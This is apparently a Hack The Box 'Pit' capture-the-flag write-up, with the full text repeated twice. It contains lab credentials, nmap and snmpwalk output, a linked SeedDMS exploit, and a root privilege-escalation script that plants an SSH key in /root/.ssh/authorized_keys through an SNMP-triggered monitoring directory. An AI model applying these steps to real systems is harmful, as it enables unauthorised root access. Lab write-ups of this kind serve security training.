Pit

Credentials

Plaintext

User

Password

Note

michelle

SeedDMS, dms-pit.htb/seeddms51x/seeddms

seeddms

ied^ieY6xoquu

/var/www/html/seeddms51x/conf/settings.xml

seeddms

sqlite /home/www-data/seeddms51x/data/content.db

Hashes

User

Hash

Note

admin

155dd275b4cb74bd1f80754b61148863

from seeddms sb

michelle

2345f10bb948c5665ef91f6773b3e455

same

jack

682d305fdaabc156430c4c6f6f5cc65d

same

Enumeration

nmap

TCP Scan

# Nmap 7.91 scan initiated Sun May 16 10:02:25 2021 as: nmap -p22,80,9090 -sC -sV -oA nmap/detailed 10.129.107.110
Nmap scan report for 10.129.107.110
Host is up (0.11s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=5/16%Time=60A12635%P=x86_64-pc-linux-gn
...[snip]...
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sun May 16 10:05:44 2021 -- 1 IP address (1 host up) scanned in 199.21 seconds

Here the ssl-cert field tells that domain name is dms-pit.htb

UDP Scan

sudo nmap  10.10.10.241 -sU                                                                                                                                                                                  1 ⨯
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-05-16 13:52 EDT
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 24.61% done; ETC: 14:08 (0:11:57 remaining)
Stats: 0:07:58 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 47.81% done; ETC: 14:09 (0:08:42 remaining)
Nmap scan report for dms-pit.htb (10.10.10.241)
Host is up (0.046s latency).
Not shown: 999 filtered ports
PORT    STATE         SERVICE
161/udp open|filtered snmp

Nmap done: 1 IP address (1 host up) scanned in 1017.82 seconds

Revealed that on port 161 service snmp is running

Port 9090

New hostname pit.htb. Fuzzing discovered the endpoint /ping that shows service name cockpit

Which appear to be https://github.com/cockpit-project/cockpit

Port 80

Looks just like nginx test website

Virtual host

dms-pit.htb is served on port 80 and 9090 but here returns 403 Forbidden

SNMP

With public community string dumping a lot information was possible including nsExtendObjects that leaked user michelle and SELinux Roles as well as system version CentOs Linux release 8.3.2011

snmpwalk -v2c -c public 10.10.10.241 1 # 1 at the end is to query all the records
...[snip]...
UCD-SNMP-MIB::prCount.1 = INTEGER: 3
UCD-SNMP-MIB::prErrorFlag.1 = INTEGER: noError(0)
UCD-SNMP-MIB::prErrFix.1 = INTEGER: noError(0)
UCD-SNMP-MIB::prErrFixCmd.1 = STRING:
UCD-SNMP-MIB::dskIndex.1 = INTEGER: 1
UCD-SNMP-MIB::dskIndex.2 = INTEGER: 2
UCD-SNMP-MIB::dskPath.1 = STRING: /
UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
UCD-SNMP-MIB::dskMinimum.1 = INTEGER: 10000
UCD-SNMP-MIB::dskMinimum.2 = INTEGER: 100000
UCD-SNMP-MIB::dskMinPercent.1 = INTEGER: -1
UCD-SNMP-MIB::dskMinPercent.2 = INTEGER: -1
UCD-SNMP-MIB::dskTotal.1 = INTEGER: 2611200
UCD-SNMP-MIB::dskTotal.2 = INTEGER: 125600
UCD-SNMP-MIB::dskAvail.1 = INTEGER: 350764
UCD-SNMP-MIB::dskAvail.2 = INTEGER: 75496
...[snip]...

Command returned interesting string /var/www/htmlseeddms51x/seeddms as this could indicate another web application running on the server.

SeedDMS

On port 80 SeedDMS was accessible on dms-pit.htb/seeddms51x/seeddms

SeedDMS

The obtained user michelle was using her name as a password that allowed to login to SeedDMS

Version

Upgrade note from administrator says that version was upgraded to 5.1.15

Users

Insider Docs/Users directory was listed one additional user Jack

Code Execution

User can add any file to the server and access it by going to the /seeddms51x/data/1048576/31/1.php url where data, 1048576 and 1.php are hardcoded values and 31 is DocumentID and this can be obtained from the URL

Exploit source: https://www.exploit-db.com/exploits/47022

Reverse Shell

Reverse shell was unsuccessful as returned permission denied

Enumeration

Inside /var/www/html/seeddms51x/conf/settings.xml password for sql database was found seeddms:ied^ieY6xoquu

As Admin note said the version was updated to 5.1.15 the version from the database says 5.1.0

Another database credential found this time to sqlite database

MySQL Database

With obtained credentials querying the database was possible

And dumping the users credentials

CentOs Cockpit

Service running on port 9090 allowed login as michelle with password ied^ieY6xoquu obtained from settings.xml

Privilege Escalation

The script /usr/bin/monitor is running when querying the snmp protocol

User michelle can write to the /usr/local/monitoring but can't read the directory content

PoC

User michelle can write to this directory

Writing public key to root authorized_keys

cat > /usr/local/monitoring/check-soviet.sh
#!/bin/bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDS7fvOiP06eOcsnCYig+yt4ocXLjdT5VIsn7FoNvL0Xqm1iV0UUw5EvD8AE4IMBi5Xj7gSNIceHqXwV9Yp47g1qoqEfkvDms+e7D2JJOBrAs32skdwo/u0xAseEvtnW2fwTsI7acrfq4lWsViWTrTCtV2x9C5IZWQPxyyXiK0xTBPUMEC5RA8ZLhaWPJBOCSrC1VE7466hUB2VIqmhg1MXuR2afJtaGqOY8/ExkxXIJ2QTV5rcYDvVBLdZu7Ngvtsa1JEgyAHJO0iz9AgRc3+eomyvFCvlpsYw7rN3Nz97TmwIteyl//OTqaNvmTHiV8ZfNJZYQ5zU+9JJ4eXQn/iP8yTVu6OBl1irBUnKajjcOE/WmyZ7+iiszwDUB+nEPp68yjyrn4ph/UlipZ6O5X5damOcBMFMVX69cvrUdVO7TuQTx+u5b+j3V6DPVf5d/4IHDatxdjLvSCrhozwQUEZlqi4MGL/7pm6wgkiTh93fwhUcswEpq81aoD19DLYow/U= kali@kali" >> /root/.ssh/authorized_keys
echo "Is this working? - Soviet $(whoami)"
^D

After running command snmpwalk -v2c -c public 10.10.10.241 1 or snmpwalk -v2c -c public 10.10.10.241 nsExtendObjects

Generated ssh key is added to /root/.ssh/authorized_keys and allowed to login via ssh

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Last updated 1 year ago

Pit

Credentials

Plaintext

User

Password

Note

michelle

SeedDMS, dms-pit.htb/seeddms51x/seeddms

seeddms

ied^ieY6xoquu

/var/www/html/seeddms51x/conf/settings.xml

seeddms

sqlite /home/www-data/seeddms51x/data/content.db

Hashes

User

Hash

Note

admin

155dd275b4cb74bd1f80754b61148863

from seeddms sb

michelle

2345f10bb948c5665ef91f6773b3e455

same

jack

682d305fdaabc156430c4c6f6f5cc65d

same

Enumeration

nmap

TCP Scan

# Nmap 7.91 scan initiated Sun May 16 10:02:25 2021 as: nmap -p22,80,9090 -sC -sV -oA nmap/detailed 10.129.107.110
Nmap scan report for 10.129.107.110
Host is up (0.11s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=5/16%Time=60A12635%P=x86_64-pc-linux-gn
...[snip]...
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sun May 16 10:05:44 2021 -- 1 IP address (1 host up) scanned in 199.21 seconds

Here the ssl-cert field tells that domain name is dms-pit.htb

UDP Scan

sudo nmap  10.10.10.241 -sU                                                                                                                                                                                  1 ⨯
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-05-16 13:52 EDT
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 24.61% done; ETC: 14:08 (0:11:57 remaining)
Stats: 0:07:58 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 47.81% done; ETC: 14:09 (0:08:42 remaining)
Nmap scan report for dms-pit.htb (10.10.10.241)
Host is up (0.046s latency).
Not shown: 999 filtered ports
PORT    STATE         SERVICE
161/udp open|filtered snmp

Nmap done: 1 IP address (1 host up) scanned in 1017.82 seconds

Revealed that on port 161 service snmp is running

Port 9090

New hostname pit.htb. Fuzzing discovered the endpoint /ping that shows service name cockpit

Which appear to be https://github.com/cockpit-project/cockpit

Port 80

Looks just like nginx test website

Virtual host

dms-pit.htb is served on port 80 and 9090 but here returns 403 Forbidden

SNMP

snmpwalk -v2c -c public 10.10.10.241 1 # 1 at the end is to query all the records
...[snip]...
UCD-SNMP-MIB::prCount.1 = INTEGER: 3
UCD-SNMP-MIB::prErrorFlag.1 = INTEGER: noError(0)
UCD-SNMP-MIB::prErrFix.1 = INTEGER: noError(0)
UCD-SNMP-MIB::prErrFixCmd.1 = STRING:
UCD-SNMP-MIB::dskIndex.1 = INTEGER: 1
UCD-SNMP-MIB::dskIndex.2 = INTEGER: 2
UCD-SNMP-MIB::dskPath.1 = STRING: /
UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
UCD-SNMP-MIB::dskMinimum.1 = INTEGER: 10000
UCD-SNMP-MIB::dskMinimum.2 = INTEGER: 100000
UCD-SNMP-MIB::dskMinPercent.1 = INTEGER: -1
UCD-SNMP-MIB::dskMinPercent.2 = INTEGER: -1
UCD-SNMP-MIB::dskTotal.1 = INTEGER: 2611200
UCD-SNMP-MIB::dskTotal.2 = INTEGER: 125600
UCD-SNMP-MIB::dskAvail.1 = INTEGER: 350764
UCD-SNMP-MIB::dskAvail.2 = INTEGER: 75496
...[snip]...

Command returned interesting string /var/www/htmlseeddms51x/seeddms as this could indicate another web application running on the server.

SeedDMS

On port 80 SeedDMS was accessible on dms-pit.htb/seeddms51x/seeddms

SeedDMS

The obtained user michelle was using her name as a password that allowed to login to SeedDMS

Version

Upgrade note from administrator says that version was upgraded to 5.1.15

Users

Insider Docs/Users directory was listed one additional user Jack

Code Execution

Exploit source: https://www.exploit-db.com/exploits/47022

Reverse Shell

Reverse shell was unsuccessful as returned permission denied

Enumeration

Inside /var/www/html/seeddms51x/conf/settings.xml password for sql database was found seeddms:ied^ieY6xoquu

As Admin note said the version was updated to 5.1.15 the version from the database says 5.1.0

Another database credential found this time to sqlite database

MySQL Database

With obtained credentials querying the database was possible

And dumping the users credentials

CentOs Cockpit

Service running on port 9090 allowed login as michelle with password ied^ieY6xoquu obtained from settings.xml

Privilege Escalation

The script /usr/bin/monitor is running when querying the snmp protocol

User michelle can write to the /usr/local/monitoring but can't read the directory content

PoC

User michelle can write to this directory

Writing public key to root authorized_keys

cat > /usr/local/monitoring/check-soviet.sh
#!/bin/bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDS7fvOiP06eOcsnCYig+yt4ocXLjdT5VIsn7FoNvL0Xqm1iV0UUw5EvD8AE4IMBi5Xj7gSNIceHqXwV9Yp47g1qoqEfkvDms+e7D2JJOBrAs32skdwo/u0xAseEvtnW2fwTsI7acrfq4lWsViWTrTCtV2x9C5IZWQPxyyXiK0xTBPUMEC5RA8ZLhaWPJBOCSrC1VE7466hUB2VIqmhg1MXuR2afJtaGqOY8/ExkxXIJ2QTV5rcYDvVBLdZu7Ngvtsa1JEgyAHJO0iz9AgRc3+eomyvFCvlpsYw7rN3Nz97TmwIteyl//OTqaNvmTHiV8ZfNJZYQ5zU+9JJ4eXQn/iP8yTVu6OBl1irBUnKajjcOE/WmyZ7+iiszwDUB+nEPp68yjyrn4ph/UlipZ6O5X5damOcBMFMVX69cvrUdVO7TuQTx+u5b+j3V6DPVf5d/4IHDatxdjLvSCrhozwQUEZlqi4MGL/7pm6wgkiTh93fwhUcswEpq81aoD19DLYow/U= kali@kali" >> /root/.ssh/authorized_keys
echo "Is this working? - Soviet $(whoami)"
^D

After running command snmpwalk -v2c -c public 10.10.10.241 1 or snmpwalk -v2c -c public 10.10.10.241 nsExtendObjects

Generated ssh key is added to /root/.ssh/authorized_keys and allowed to login via ssh